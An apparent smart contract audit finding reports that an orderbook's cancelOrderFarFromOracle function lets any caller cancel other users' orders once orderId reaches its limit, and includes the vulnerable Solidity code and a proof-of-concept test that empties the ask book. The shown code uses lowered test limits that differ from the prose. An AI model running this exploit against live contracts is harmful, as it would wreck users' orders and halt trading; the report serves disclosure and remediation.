Summary
Orderbook DOS by canceling all the orders without permission when the orderId reaches its limit.
Vulnerability Details
When the system reaches its limit in terms of the number of orders 65000, an attacker would be able to cancel any number of orders he wants to by calling the following function:
function cancelOrderFarFromOracle(
address asset,
O orderType,
uint16 lastOrderId,
uint16 numOrdersToCancel
) external onlyValidAsset(asset) nonReentrant {
if (s.asset[asset].orderId < 10) {
revert Errors.OrderIdCountTooLow();
}
if (numOrdersToCancel > 4) {
revert Errors.CannotCancelMoreThan1000Orders();
}
if (msg.sender == LibDiamond.diamondStorage().contractOwner) {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
s.asks.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
) {
s.shorts.cancelManyOrders(asset, lastOrderId, numOrdersToCancel);
} else {
revert Errors.NotLastOrder();
}
} else {
if (
orderType == O.LimitBid
&& s.bids[asset][lastOrderId].nextId == Constants.TAIL
) {
s.bids.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitAsk
&& s.asks[asset][lastOrderId].nextId == Constants.TAIL
) {
s.asks.cancelOrder(asset, lastOrderId);
} else if (
orderType == O.LimitShort
&& s.shorts[asset][lastOrderId].nextId == Constants.TAIL
) {
s.shorts.cancelOrder(asset, lastOrderId);
} else {
revert Errors.NotLastOrder();
}
}
}
This function does not check if the user is the owner of the order he wants to cancel as this is expected by the system when the number of orders reaches the limit. However, according to the dev team, the user should only be able to remove orders that have an ID higher than 65000 to be able to reduce the number of orders to 65000.
However, the orderId is never decreased after canceling the order so the following check will remain false forever once it reach it for the first time:
if (s.asset[asset].orderId < 65000) {
Therefore, the attacker would be able to cancel all the orders forever.
Here is a proof of concept for this vulnerability:
function testRevertOrderIdNotAllowed222() public {
fundLimitAskOpt(1 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(2 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(3 ether, DEFAULT_AMOUNT, receiver);
fundLimitAskOpt(4 ether, DEFAULT_AMOUNT, receiver);
STypes.Order[] memory asks = getAsks();
vm.prank(sender);
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 103,
numOrdersToCancel: 4
});
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 102,
numOrdersToCancel: 4
});
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 101,
numOrdersToCancel: 4
});
diamond.cancelOrderFarFromOracle({
asset: asset,
orderType: O.LimitAsk,
lastOrderId: 100,
numOrdersToCancel: 4
});
assertEq(getAsks().length, 0);
}
Note:
to be able to use this proof of concept try to change the limit from 65000 to 2 for example so that the script does not take too long to run. as creating 65000 order will take too much time to be done. However, what works for 2 as a limit orderId works for 65000 too. because no other check is performed for this.
Impact
DoS on your orderbook, no one would be able to buy or sell anything
Tools Used
Manual
Recommendations
once the orderId reaches 65000 you should start decreasing the orderId after canceling an order
